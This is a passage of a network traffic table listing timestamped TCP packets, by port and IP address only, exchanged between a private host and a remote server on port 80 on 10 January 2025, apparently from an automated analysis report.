Jan 10, 2025 20:03:01.716779947 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.717077017 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.717092037 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.717104912 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.717127085 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.717143059 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.717309952 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.717356920 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.717370033 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.717411041 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.717421055 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.717434883 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.717464924 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.718003035 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.718015909 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.718029022 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.718039989 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.718050003 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.718050957 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.718064070 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.718066931 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.718080997 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.718094110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.718100071 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.718151093 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.718950987 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.718966007 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.718985081 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.718997955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.719012022 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.719023943 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.719038010 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.719039917 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.719039917 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.719069958 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.719080925 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.719795942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.719815969 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.719830036 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.719842911 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.719856024 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.719866037 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.719868898 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.719878912 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.719894886 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.719896078 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.719918013 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.719949961 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.720746994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.720765114 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.720778942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.720789909 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.720802069 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.720813990 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.720827103 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.720839977 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.720856905 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.720894098 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.721679926 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.721693039 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.721704960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.721715927 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.721729040 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.721740007 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.721749067 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.721752882 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.721769094 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.721786976 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.721815109 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.722650051 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.722662926 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.722675085 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.722688913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.722702026 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.722708941 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.722713947 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.722728014 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.722739935 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.722748041 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.722768068 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.722784996 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.723500013 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.723592043 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.723603964 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.723615885 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.723628044 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.723640919 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.723649025 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.723654032 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.723668098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.723689079 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.723726988 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.724464893 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.724490881 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.724507093 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.724550962 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.728123903 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.728389025 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.753901958 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.753932953 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.753943920 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.753957987 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.753979921 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.793981075 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.794003963 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.794017076 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.794043064 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.794053078 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.794054985 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.794070005 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.794089079 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.794107914 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.794193983 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.794207096 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.794226885 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.794239044 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.794250965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.794255972 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.794265032 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.794275045 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.794312000 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.808990955 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.809041023 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.809052944 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.809094906 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.809097052 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.809108019 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.809118986 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.809134960 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.809163094 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.826170921 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.826186895 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.826210976 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.826222897 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.826234102 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.826246023 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.826252937 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.826261997 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.826270103 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.826275110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.826296091 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.826307058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.826324940 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.826324940 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.826327085 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.826338053 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.826353073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.826493025 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.842202902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842216969 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842228889 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842267036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.842328072 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842367887 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.842497110 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842515945 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842529058 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842540979 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842552900 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842564106 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842567921 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.842576981 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842588902 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842601061 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842612028 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.842612028 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842628002 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842628956 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.842639923 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842652082 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842663050 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.842698097 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.842752934 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842766047 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842782974 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842802048 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.842833042 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.842907906 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842921972 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842932940 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842945099 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842957020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842968941 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842968941 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.842987061 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.842992067 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.843003035 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843009949 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.843020916 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843034983 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843039036 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.843050003 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843094110 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.843211889 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843231916 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843261957 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.843286991 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843326092 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.843417883 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843437910 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843449116 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843468904 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843487978 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843497992 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.843501091 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843517065 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843527079 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.843532085 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843545914 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843549013 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.843560934 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843575954 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.843605042 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.843633890 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843718052 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843729973 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843743086 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843755960 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843760967 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.843769073 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843781948 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.843827009 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.843852997 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843863964 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843877077 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.843895912 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.844022036 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.844034910 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.844046116 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.844058990 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.844074011 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.844074965 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.844089985 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.844103098 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.844105959 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.844115019 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.844130039 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.844131947 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.844145060 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.844161034 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.844165087 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.844171047 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.844199896 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.847410917 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847423077 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847440958 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847454071 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847465992 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847466946 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.847477913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847490072 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847503901 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847512960 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.847512960 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.847518921 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847532988 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847544909 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847547054 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.847558975 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847568989 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.847573042 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847584963 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.847588062 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847601891 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847615004 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847615004 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.847628117 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847641945 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847645998 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.847687006 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.847803116 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847816944 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847837925 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847846985 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.847851038 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847867012 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847882986 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847887039 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.847908020 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.847913027 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.847956896 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.849144936 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.854644060 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.886838913 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.886890888 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.886929035 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.886944056 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.886966944 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.887001038 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.887038946 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.887051105 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.887073994 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.887088060 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.887118101 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.887139082 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.887166977 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.890115023 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.929049969 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929104090 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.929272890 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929296017 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929311037 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929322958 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929344893 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.929347992 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929362059 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929388046 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929392099 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.929404020 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.929411888 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929425001 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929435968 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929455996 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.929467916 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929485083 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.929492950 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929506063 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929531097 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929533958 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.929543972 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929557085 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929582119 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.929584980 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929610968 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929611921 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.929626942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.929668903 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.934691906 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.934704065 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.934717894 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.934741020 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.934742928 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.934755087 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.934767008 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.934777021 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.934788942 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.934809923 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.934839964 CET	80	49707	193.143.1.205	192.168.2.9
Jan 10, 2025 20:03:01.934844017 CET	49707	80	192.168.2.9	193.143.1.205
Jan 10, 2025 20:03:01.934853077 CET	80	49707	193.143.1.205	192.168.2.9
